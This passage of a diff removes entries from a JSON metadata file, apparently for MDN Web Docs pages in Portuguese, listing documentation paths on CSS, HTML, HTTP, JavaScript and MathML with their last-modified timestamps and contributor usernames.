- "Verruckt"
- ]
- },
- "Web/CSS/border-bottom-width": {
- "modified": "2019-03-23T23:47:10.824Z",
- "contributors": [
- "wbamberg",
- "teoli",
- "Verruckt"
- ]
- },
- "Web/CSS/border-collapse": {
- "modified": "2019-03-23T23:47:06.488Z",
- "contributors": [
- "wbamberg",
- "teoli",
- "Verruckt"
- ]
- },
- "Web/CSS/border-color": {
- "modified": "2019-03-24T00:02:05.127Z",
- "contributors": [
- "wbamberg",
- "teoli",
- "gerson23",
- "Verruckt"
- ]
- },
- "Web/CSS/border-left": {
- "modified": "2019-01-16T15:59:39.346Z",
- "contributors": [
- "teoli",
- "Verruckt"
- ]
- },
- "Web/CSS/border-left-color": {
- "modified": "2019-01-16T19:20:48.785Z",
- "contributors": [
- "teoli",
- "Verruckt"
- ]
- },
- "Web/CSS/border-left-style": {
- "modified": "2019-01-16T15:59:50.769Z",
- "contributors": [
- "teoli",
- "Verruckt"
- ]
- },
- "Web/CSS/border-left-width": {
- "modified": "2019-01-16T16:00:08.928Z",
- "contributors": [
- "teoli",
- "Verruckt"
- ]
- },
- "Web/CSS/border-right": {
- "modified": "2019-01-16T15:59:50.709Z",
- "contributors": [
- "teoli",
- "Verruckt"
- ]
- },
- "Web/CSS/border-right-color": {
- "modified": "2019-01-16T15:59:44.072Z",
- "contributors": [
- "teoli",
- "Verruckt"
- ]
- },
- "Web/CSS/border-right-style": {
- "modified": "2019-01-16T15:59:50.407Z",
- "contributors": [
- "teoli",
- "Verruckt"
- ]
- },
- "Web/CSS/border-right-width": {
- "modified": "2019-01-16T16:00:01.042Z",
- "contributors": [
- "teoli",
- "Verruckt"
- ]
- },
- "Web/CSS/border-spacing": {
- "modified": "2019-03-23T23:47:07.851Z",
- "contributors": [
- "wbamberg",
- "teoli",
- "Verruckt"
- ]
- },
- "Web/CSS/border-top": {
- "modified": "2019-01-17T10:27:59.370Z",
- "contributors": [
- "teoli",
- "Verruckt"
- ]
- },
- "Web/CSS/border-top-color": {
- "modified": "2019-01-16T19:20:46.774Z",
- "contributors": [
- "teoli",
- "Verruckt"
- ]
- },
- "Web/CSS/border-top-style": {
- "modified": "2019-01-16T15:59:52.923Z",
- "contributors": [
- "teoli",
- "Verruckt"
- ]
- },
- "Web/CSS/border-top-width": {
- "modified": "2019-01-16T16:00:01.372Z",
- "contributors": [
- "teoli",
- "Verruckt"
- ]
- },
- "Web/CSS/border-width": {
- "modified": "2019-03-23T23:12:52.902Z",
- "contributors": [
- "wbamberg",
- "teoli",
- "Verruckt"
- ]
- },
- "Web/CSS/bottom": {
- "modified": "2019-01-16T16:00:22.463Z",
- "contributors": [
- "teoli",
- "Verruckt"
- ]
- },
- "Web/CSS/clear": {
- "modified": "2019-03-23T23:35:13.332Z",
- "contributors": [
- "wbamberg",
- "teoli",
- "Luis Henrique Sousa",
- "Verruckt"
- ]
- },
- "Web/CSS/color": {
- "modified": "2019-01-16T19:20:48.419Z",
- "contributors": [
- "teoli",
- "Verruckt",
- "Luis Henrique Sousa"
- ]
- },
- "Web/CSS/content": {
- "modified": "2019-03-24T00:02:07.101Z",
- "contributors": [
- "teoli",
- "Half-blood"
- ]
- },
- "Web/CSS/counter-increment": {
- "modified": "2019-03-23T23:47:04.420Z",
- "contributors": [
- "teoli",
- "Verruckt"
- ]
- },
- "Web/CSS/counter-reset": {
- "modified": "2019-03-23T23:47:10.117Z",
- "contributors": [
- "teoli",
- "Verruckt"
- ]
- },
- "Web/CSS/cursor": {
- "modified": "2019-03-24T00:02:03.227Z",
- "contributors": [
- "wbamberg",
- "teoli",
- "Half-blood",
- "Verruckt"
- ]
- },
- "Web/CSS/direction": {
- "modified": "2019-01-16T16:56:47.948Z",
- "contributors": [
- "teoli",
- "Verruckt"
- ]
- },
- "Web/CSS/display": {
- "modified": "2019-03-23T23:49:28.516Z",
- "contributors": [
- "wbamberg",
- "Anonymous",
- "teoli",
- "ethertank",
- "Leandro Mercês Xavier",
- "Verruckt"
- ]
- },
- "Web/CSS/float": {
- "modified": "2019-03-23T23:47:04.610Z",
- "contributors": [
- "wbamberg",
- "teoli",
- "Verruckt",
- "Luis Henrique Sousa"
- ]
- },
- "Web/CSS/font": {
- "modified": "2019-03-23T23:47:10.686Z",
- "contributors": [
- "wbamberg",
- "teoli",
- "Verruckt"
- ]
- },
- "Web/CSS/font-size": {
- "modified": "2019-03-23T23:47:15.600Z",
- "contributors": [
- "wbamberg",
- "RCat",
- "teoli",
- "Verruckt"
- ]
- },
- "Web/CSS/font-size-adjust": {
- "modified": "2019-03-23T23:47:06.762Z",
- "contributors": [
- "wbamberg",
- "teoli",
- "Verruckt"
- ]
- },
- "Web/CSS/font-smooth": {
- "modified": "2020-10-15T22:20:31.703Z",
- "contributors": [
- "LPJFilho"
- ]
- },
- "Web/CSS/font-style": {
- "modified": "2019-03-23T23:51:37.862Z",
- "contributors": [
- "wbamberg",
- "fscholz",
- "teoli",
- "Luis Henrique Sousa"
- ]
- },
- "Web/CSS/font-weight": {
- "modified": "2019-03-23T23:47:17.771Z",
- "contributors": [
- "gusbemacbe",
- "SphinxKnight",
- "teoli",
- "Verruckt"
- ]
- },
- "Web/CSS/gap": {
- "modified": "2020-10-15T22:00:32.351Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Web/CSS/height": {
- "modified": "2019-03-23T23:47:57.733Z",
- "contributors": [
- "wbamberg",
- "teoli",
- "Luis Henrique Sousa"
- ]
- },
- "Web/CSS/inherit": {
- "modified": "2019-01-16T15:39:13.615Z",
- "contributors": [
- "teoli",
- "Hillus"
- ]
- },
- "Web/CSS/list-style": {
- "modified": "2019-03-23T23:47:53.661Z",
- "contributors": [
- "SphinxKnight",
- "teoli",
- "Luis Henrique Sousa"
- ]
- },
- "Web/CSS/top": {
- "modified": "2019-01-16T14:40:15.687Z",
- "contributors": [
- "teoli",
- "Half-blood"
- ]
- },
- "Web/CSS/transform": {
- "modified": "2019-03-23T22:12:47.007Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Web/CSS/width": {
- "modified": "2019-03-23T23:47:51.459Z",
- "contributors": [
- "wbamberg",
- "Redeagle48",
- "teoli",
- "Luis Henrique Sousa",
- "Verruckt"
- ]
- },
- "Web/CSS/z-index": {
- "modified": "2019-01-17T04:06:04.605Z",
- "contributors": [
- "teoli",
- "Verruckt",
- "Luis Henrique Sousa"
- ]
- },
- "Web/Events": {
- "modified": "2019-04-30T14:29:45.980Z",
- "contributors": [
- "wbamberg",
- "Anonymous"
- ]
- },
- "Web/Guide": {
- "modified": "2020-11-12T11:23:45.364Z",
- "contributors": [
- "nuruldecarvalho",
- "Anonymous",
- "Onsteroids"
- ]
- },
- "Web/Guide/AJAX": {
- "modified": "2019-03-23T23:43:06.644Z",
- "contributors": [
- "Anonymous",
- "chrisdavidmills",
- "Leandro Mercês Xavier",
- "Takenbot",
- "Dria",
- "RuiMaciel"
- ]
- },
- "Web/Guide/AJAX/Community": {
- "modified": "2019-03-18T21:47:01.551Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Web/Guide/AJAX/Getting_Started": {
- "modified": "2019-03-23T23:58:34.669Z",
- "contributors": [
- "Anonymous",
- "chrisdavidmills",
- "flaviomicheletti",
- "Leandro Mercês Xavier",
- "Fmtakaki",
- "Verruckt",
- "TroyDF",
- "Japa al",
- "Mederafael",
- "Juliandavi",
- "Thomaskp",
- "Caed",
- "Takenbot",
- "Filipesperandio",
- "Pmdweb",
- "RuiMaciel"
- ]
- },
- "Web/Guide/Graphics": {
- "modified": "2019-03-18T21:46:51.581Z",
- "contributors": [
- "ivolvicente",
- "Anonymous"
- ]
- },
- "Web/Guide/HTML/Content_categories": {
- "modified": "2019-03-18T21:30:45.160Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Web/Guide/HTML/HTML5": {
- "modified": "2019-03-24T00:15:44.005Z",
- "contributors": [
- "InesFF",
- "Anonymous",
- "teoli",
- "emilianocarvalho",
- "vigia122",
- "Dwchiang",
- "Verruckt"
- ]
- },
- "Web/Guide/HTML/HTML5/HTML5_Parser": {
- "modified": "2019-03-24T00:07:33.282Z",
- "contributors": [
- "teoli",
- "Verruckt"
- ]
- },
- "Web/Guide/HTML/HTML5/Introduction_to_HTML5": {
- "modified": "2019-03-24T00:13:41.465Z",
- "contributors": [
- "SphinxKnight",
- "teoli",
- "mauricio.araldi",
- "xaky",
- "Verruckt"
- ]
- },
- "Web/Guide/HTML/Using_HTML_sections_and_outlines": {
- "modified": "2019-03-18T21:46:45.859Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Web/HTML": {
- "modified": "2020-07-22T17:12:42.326Z",
- "contributors": [
- "joaonunomota",
- "SphinxKnight",
- "duduindo",
- "tyreecruz6",
- "Anonymous",
- "Devenancio",
- "didi9999",
- "jwhitlock"
- ]
- },
- "Web/HTML/Applying_color": {
- "modified": "2019-03-23T22:01:35.840Z",
- "contributors": [
- "jwhitlock",
- "Anonymous"
- ]
- },
- "Web/HTML/Attributes": {
- "modified": "2019-03-23T22:12:57.935Z",
- "contributors": [
- "jwhitlock",
- "Anonymous",
- "ricardomartins"
- ]
- },
- "Web/HTML/Attributes/crossorigin": {
- "modified": "2020-10-15T22:18:00.790Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Web/HTML/Attributes/rel": {
- "modified": "2020-10-15T22:34:32.449Z",
- "contributors": [
- "Painatalman"
- ]
- },
- "Web/HTML/Element": {
- "modified": "2020-11-30T19:06:39.688Z",
- "contributors": [
- "jotafe32",
- "joaonunomota",
- "MacedoAna",
- "Anonymous",
- "jwhitlock",
- "teoli",
- "Leandro Mercês Xavier"
- ]
- },
- "Web/HTML/Element/audio": {
- "modified": "2019-03-24T00:00:34.265Z",
- "contributors": [
- "jwhitlock",
- "teoli",
- "Leandro Mercês Xavier"
- ]
- },
- "Web/HTML/Element/fieldset": {
- "modified": "2020-10-15T22:23:45.358Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Web/HTML/Element/figcaption": {
- "modified": "2019-03-24T00:12:29.922Z",
- "contributors": [
- "wbamberg",
- "jwhitlock",
- "teoli",
- "f.sanxz"
- ]
- },
- "Web/HTML/Element/figure": {
- "modified": "2019-03-24T00:07:13.574Z",
- "contributors": [
- "wbamberg",
- "jwhitlock",
- "teoli",
- "f.sanxz"
- ]
- },
- "Web/HTML/Element/head": {
- "modified": "2020-10-15T21:59:43.855Z",
- "contributors": [
- "jwhitlock",
- "Anonymous"
- ]
- },
- "Web/HTML/Element/nav": {
- "modified": "2020-10-15T21:57:44.552Z",
- "contributors": [
- "jwhitlock",
- "JoseRicardoGomes"
- ]
- },
- "Web/HTML/Element/progress": {
- "modified": "2019-03-24T00:11:12.291Z",
- "contributors": [
- "wbamberg",
- "jwhitlock",
- "teoli",
- "gustavowiller",
- "Leandro Mercês Xavier"
- ]
- },
- "Web/HTML/Element/video": {
- "modified": "2019-03-24T00:00:37.866Z",
- "contributors": [
- "jwhitlock",
- "teoli",
- "Leandro Mercês Xavier"
- ]
- },
- "Web/HTML/Global_attributes": {
- "modified": "2019-03-23T22:02:25.995Z",
- "contributors": [
- "Anonymous",
- "jwhitlock"
- ]
- },
- "Web/HTML/Link_types": {
- "modified": "2019-03-23T22:02:19.809Z",
- "contributors": [
- "jwhitlock",
- "Anonymous"
- ]
- },
- "Web/HTML/Reference": {
- "modified": "2019-09-09T07:20:05.681Z",
- "contributors": [
- "SphinxKnight",
- "wbamberg",
- "jwhitlock",
- "Anonymous"
- ]
- },
- "Web/HTML/Using_the_application_cache": {
- "modified": "2020-10-15T22:13:54.682Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Web/HTTP": {
- "modified": "2019-05-08T19:34:36.815Z",
- "contributors": [
- "wellick53",
- "Joao-Henrique",
- "CarlosAlbertoSzygalski",
- "fscholz"
- ]
- },
- "Web/HTTP/CORS": {
- "modified": "2020-10-15T22:15:14.685Z",
- "contributors": [
- "mfuji09"
- ]
- },
- "Web/HTTP/CORS/Errors": {
- "modified": "2019-03-18T20:48:04.840Z",
- "contributors": [
- "nchevobbe"
- ]
- },
- "Web/HTTP/CORS/Errors/CORSDidNotSucceed": {
- "modified": "2019-07-29T10:54:39.520Z",
- "contributors": [
- "duduindo",
- "emagombe"
- ]
- },
- "Web/HTTP/Headers": {
- "modified": "2019-03-23T22:13:14.622Z",
- "contributors": [
- "fscholz"
- ]
- },
- "Web/HTTP/Headers/Allow": {
- "modified": "2020-07-25T17:41:28.755Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/HTTP/Headers/X-Content-Type-Options": {
- "modified": "2020-10-15T21:53:51.221Z",
- "contributors": [
- "tjgfernandes"
- ]
- },
- "Web/HTTP/Proxy_servers_and_tunneling": {
- "modified": "2020-06-30T09:55:24.162Z",
- "contributors": [
- "lutzleonardo15"
- ]
- },
- "Web/HTTP/Status": {
- "modified": "2020-10-15T22:17:14.857Z",
- "contributors": [
- "zhouqichao"
- ]
- },
- "Web/HTTP/Status/205": {
- "modified": "2019-04-07T10:34:18.946Z",
- "contributors": [
- "preira"
- ]
- },
- "Web/HTTP/Status/405": {
- "modified": "2020-07-25T17:18:32.968Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/HTTP/Status/502": {
- "modified": "2020-10-15T22:31:56.172Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/HTTP/Status/504": {
- "modified": "2020-10-15T22:32:01.046Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/JavaScript": {
- "modified": "2020-09-29T15:05:06.845Z",
- "contributors": [
- "jnascimentogcc",
- "Anonymous",
- "SphinxKnight",
- "diogo-panaca",
- "ruiribeiro97",
- "teoli",
- "jaydson",
- "Charleno Pires",
- "leobalter",
- "Verruckt",
- "Leandro Mercês Xavier",
- "Enigma",
- "RuiMaciel"
- ]
- },
- "Web/JavaScript/Data_structures": {
- "modified": "2020-03-12T19:47:10.844Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Web/JavaScript/Guide": {
- "modified": "2020-03-12T19:36:11.358Z",
- "contributors": [
- "Anonymous",
- "teoli",
- "dancasttro",
- "ethertank",
- "trevorh",
- "italotoffolo",
- "clebermatheus",
- "Verruckt"
- ]
- },
- "Web/JavaScript/Guide/Details_of_the_Object_Model": {
- "modified": "2020-03-12T19:44:04.803Z",
- "contributors": [
- "wbamberg",
- "Anonymous"
- ]
- },
- "Web/JavaScript/Guide/Grammar_and_types": {
- "modified": "2020-03-12T19:44:01.097Z",
- "contributors": [
- "mauraodev",
- "Anonymous"
- ]
- },
- "Web/JavaScript/Guide/Introduction": {
- "modified": "2020-03-12T19:44:03.775Z",
- "contributors": [
- "jhonatansychochi",
- "Redeagle48",
- "Anonymous"
- ]
- },
- "Web/JavaScript/Memory_Management": {
- "modified": "2020-03-12T19:47:35.757Z",
- "contributors": [
- "FgfdCBVCbnsebtgf"
- ]
- },
- "Web/JavaScript/Reference": {
- "modified": "2020-07-11T02:27:11.550Z",
- "contributors": [
- "KINGRANDOLPH",
- "Anonymous",
- "dd-pardal",
- "LJHarb"
- ]
- },
- "Web/JavaScript/Reference/About": {
- "modified": "2020-03-12T19:44:03.544Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Web/JavaScript/Reference/Classes": {
- "modified": "2020-10-15T22:00:39.801Z",
- "contributors": [
- "preira",
- "peter.kehl"
- ]
- },
- "Web/JavaScript/Reference/Classes/static": {
- "modified": "2020-10-15T22:00:38.342Z",
- "contributors": [
- "Painatalman"
- ]
- },
- "Web/JavaScript/Reference/Deprecated_and_obsolete_features": {
- "modified": "2020-03-12T19:48:08.798Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Web/JavaScript/Reference/Errors": {
- "modified": "2020-03-12T19:47:09.947Z",
- "contributors": [
- "Sheppy"
- ]
- },
- "Web/JavaScript/Reference/Errors/Not_a_function": {
- "modified": "2020-07-25T16:58:44.866Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/JavaScript/Reference/Errors/Stmt_after_return": {
- "modified": "2020-03-12T19:47:09.548Z",
- "contributors": [
- "Anonymous",
- "joao-neves95",
- "PANC"
- ]
- },
- "Web/JavaScript/Reference/Errors/Unexpected_token": {
- "modified": "2020-03-12T19:47:17.066Z",
- "contributors": [
- "pedlima"
- ]
- },
- "Web/JavaScript/Reference/Errors/Unnamed_function_statement": {
- "modified": "2020-03-12T19:48:30.296Z",
- "contributors": [
- "hudelgado"
- ]
- },
- "Web/JavaScript/Reference/Functions": {
- "modified": "2020-10-15T21:59:57.286Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Web/JavaScript/Reference/Functions/Arrow_functions": {
- "modified": "2020-10-15T22:29:39.575Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Web/JavaScript/Reference/Functions/arguments": {
- "modified": "2020-10-15T22:13:56.842Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Web/JavaScript/Reference/Functions/rest_parameters": {
- "modified": "2020-10-15T22:29:46.349Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects": {
- "modified": "2020-03-12T19:39:49.774Z",
- "contributors": [
- "Anonymous",
- "Redeagle48",
- "SphinxKnight",
- "fscholz"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Array": {
- "modified": "2020-10-15T21:54:01.173Z",
- "contributors": [
- "joaonunomota",
- "claudepache"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Array/concat": {
- "modified": "2019-03-23T22:13:06.712Z",
- "contributors": [
- "ricardomartins"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Array/find": {
- "modified": "2020-10-15T22:02:06.522Z",
- "contributors": [
- "JMoreira93"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Array/forEach": {
- "modified": "2020-10-15T22:13:53.352Z",
- "contributors": [
- "ricardomartins"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Array/includes": {
- "modified": "2020-10-15T22:04:42.050Z",
- "contributors": [
- "SandroMiguel"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Array/join": {
- "modified": "2020-10-15T21:54:14.959Z",
- "contributors": [
- "joaonunomota",
- "ricardomartins"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Array/map": {
- "modified": "2020-10-15T22:33:11.742Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Array/pop": {
- "modified": "2020-10-15T21:58:52.123Z",
- "contributors": [
- "kapz"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Array/reverse": {
- "modified": "2019-03-23T22:12:30.952Z",
- "contributors": [
- "ricardomartins"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Array/slice": {
- "modified": "2020-10-15T22:31:52.359Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/ArrayBuffer": {
- "modified": "2019-03-23T22:16:35.915Z",
- "contributors": [
- "anguelov"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/AsyncFunction": {
- "modified": "2020-10-15T22:14:28.403Z",
- "contributors": [
- "ramongr"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Boolean": {
- "modified": "2020-10-15T21:59:47.399Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Function": {
- "modified": "2019-03-23T22:14:25.079Z",
- "contributors": [
- "nmve"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Function/arguments": {
- "modified": "2020-10-15T22:14:27.893Z",
- "contributors": [
- "ramongr"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Function/call": {
- "modified": "2020-10-15T21:53:17.055Z",
- "contributors": [
- "joaonunomota",
- "JuniorDiasOliveira",
- "waveiro",
- "Mega85"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Infinity": {
- "modified": "2020-10-15T22:31:55.049Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Math": {
- "modified": "2019-03-23T22:12:29.962Z",
- "contributors": [
- "ricardomartins"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Math/ceil": {
- "modified": "2020-10-15T21:58:11.563Z",
- "contributors": [
- "carlos-menezes",
- "MarcioFonseca"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Number": {
- "modified": "2019-03-23T22:49:01.559Z",
- "contributors": [
- "Redeagle48",
- "fscholz"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Number/MAX_VALUE": {
- "modified": "2019-03-23T22:49:07.538Z",
- "contributors": [
- "Redeagle48"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Number/MIN_VALUE": {
- "modified": "2019-03-23T22:49:09.973Z",
- "contributors": [
- "Redeagle48"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Number/NEGATIVE_INFINITY": {
- "modified": "2020-10-15T21:38:19.186Z",
- "contributors": [
- "joaonunomota",
- "Redeagle48"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Number/NaN": {
- "modified": "2019-03-23T22:49:09.414Z",
- "contributors": [
- "Redeagle48"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Number/isFinite": {
- "modified": "2019-03-23T22:49:12.149Z",
- "contributors": [
- "SphinxKnight",
- "Redeagle48"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Number/isInteger": {
- "modified": "2019-03-23T22:49:17.052Z",
- "contributors": [
- "SphinxKnight",
- "Redeagle48"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Number/isNaN": {
- "modified": "2019-03-23T22:49:10.417Z",
- "contributors": [
- "SphinxKnight",
- "Redeagle48"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Number/toString": {
- "modified": "2019-03-23T22:49:00.338Z",
- "contributors": [
- "Redeagle48"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Object": {
- "modified": "2020-10-15T21:30:54.647Z",
- "contributors": [
- "Anonymous",
- "wbamberg",
- "fscholz"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty": {
- "modified": "2019-03-23T22:42:57.159Z",
- "contributors": [
- "gabrielpconceicao"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/String": {
- "modified": "2020-10-15T21:38:27.657Z",
- "contributors": [
- "erickbRodrigues",
- "Anonymous",
- "ricardomartins",
- "lpimenta-ptc",
- "Sheppy"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/String/Trim": {
- "modified": "2019-03-23T22:13:05.964Z",
- "contributors": [
- "ricardomartins"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/String/indexOf": {
- "modified": "2019-03-23T22:49:09.792Z",
- "contributors": [
- "SandroMiguel",
- "Redeagle48"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/String/length": {
- "modified": "2019-03-23T22:49:00.693Z",
- "contributors": [
- "Redeagle48"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Symbol": {
- "modified": "2019-03-23T22:24:48.766Z",
- "contributors": [
- "ZeikJT"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/Symbol/hasInstance": {
- "modified": "2019-03-23T22:24:53.893Z",
- "contributors": [
- "GoToLoop"
- ]
- },
- "Web/JavaScript/Reference/Global_Objects/encodeURI": {
- "modified": "2020-03-12T19:42:17.895Z",
- "contributors": [
- "kempcarlos"
- ]
- },
- "Web/JavaScript/Reference/Operators": {
- "modified": "2020-10-15T21:46:57.076Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Web/JavaScript/Reference/Operators/Comma_Operator": {
- "modified": "2020-10-15T22:29:46.734Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Web/JavaScript/Reference/Operators/Operator_Precedence": {
- "modified": "2020-05-03T13:58:58.457Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Web/JavaScript/Reference/Operators/function": {
- "modified": "2020-10-15T22:29:38.999Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Web/JavaScript/Reference/Statements": {
- "modified": "2020-10-15T21:46:52.013Z",
- "contributors": [
- "Anonymous",
- "LucianoDos"
- ]
- },
- "Web/JavaScript/Reference/Statements/block": {
- "modified": "2020-10-15T22:29:44.918Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Web/JavaScript/Reference/Statements/for": {
- "modified": "2020-10-15T22:29:45.538Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Web/JavaScript/Reference/Statements/return": {
- "modified": "2020-10-15T21:59:53.428Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Web/JavaScript/Reference/Statements/throw": {
- "modified": "2020-10-15T21:59:14.757Z",
- "contributors": [
- "Anonymous",
- "joao-neves95"
- ]
- },
- "Web/JavaScript/Shells": {
- "modified": "2019-03-23T23:49:32.077Z",
- "contributors": [
- "SphinxKnight",
- "Verruckt"
- ]
- },
- "Web/Manifest": {
- "modified": "2020-10-15T22:23:27.262Z",
- "contributors": [
- "nersofiripi",
- "Anonymous"
- ]
- },
- "Web/MathML": {
- "modified": "2020-11-09T15:01:38.012Z",
- "contributors": [
- "joaonunomota",
- "Joao_Ledo_Fonseca",
- "Anonymous"
- ]
- },
- "Web/MathML/Attribute": {
- "modified": "2020-08-21T12:44:51.026Z",
- "contributors": [
- "joaonunomota",
- "fscholz"
- ]
- },
- "Web/MathML/Attribute/Values": {
- "modified": "2020-07-22T19:30:01.211Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/MathML/Authoring": {
- "modified": "2020-08-15T14:39:49.860Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/MathML/Element": {
- "modified": "2020-08-16T17:33:47.904Z",
- "contributors": [
- "joaonunomota",
- "fscholz"
- ]
- },
- "Web/MathML/Element/maction": {
- "modified": "2020-10-15T22:32:30.845Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/MathML/Element/math": {
- "modified": "2020-10-15T22:32:00.988Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/MathML/Element/menclose": {
- "modified": "2020-10-15T22:31:58.519Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/MathML/Element/merror": {
- "modified": "2020-10-15T22:31:57.892Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/MathML/Element/mfenced": {
- "modified": "2020-10-15T22:32:16.693Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/MathML/Element/mfrac": {
- "modified": "2020-10-15T22:32:37.302Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/MathML/Element/mi": {
- "modified": "2020-10-15T22:32:20.399Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/MathML/Element/mmultiscripts": {
- "modified": "2020-10-15T22:32:37.118Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/MathML/Element/mn": {
- "modified": "2020-10-15T22:32:26.157Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/MathML/Element/mo": {
- "modified": "2020-10-15T22:32:19.754Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/MathML/Element/mover": {
- "modified": "2020-10-15T22:32:19.618Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/MathML/Element/mpadded": {
- "modified": "2020-10-15T22:32:28.264Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/MathML/Element/mphantom": {
- "modified": "2020-10-15T22:32:22.218Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/MathML/Element/mroot": {
- "modified": "2020-10-15T22:32:22.430Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/MathML/Element/mrow": {
- "modified": "2020-10-15T22:31:58.300Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/MathML/Element/ms": {
- "modified": "2020-10-15T22:32:22.427Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/MathML/Element/mspace": {
- "modified": "2020-10-15T22:31:55.582Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/MathML/Element/msqrt": {
- "modified": "2020-10-15T22:32:22.151Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/MathML/Element/mstyle": {
- "modified": "2020-10-15T22:33:04.564Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/MathML/Element/msub": {
- "modified": "2020-10-15T22:32:21.086Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/MathML/Element/msubsup": {
- "modified": "2020-10-15T22:32:22.170Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/MathML/Element/msup": {
- "modified": "2020-10-15T22:32:20.360Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/MathML/Element/mtable": {
- "modified": "2020-10-15T22:33:04.410Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/MathML/Element/mtd": {
- "modified": "2020-10-15T22:32:00.353Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/MathML/Element/mtext": {
- "modified": "2020-10-15T22:31:59.109Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/MathML/Element/mtr": {
- "modified": "2020-10-15T22:31:55.409Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/MathML/Element/munder": {
- "modified": "2020-10-15T22:32:18.823Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/MathML/Element/munderover": {
- "modified": "2020-10-15T22:32:21.240Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/MathML/Element/semantics": {
- "modified": "2020-10-15T22:32:26.955Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/MathML/Examples": {
- "modified": "2020-08-18T09:59:11.744Z",
- "contributors": [
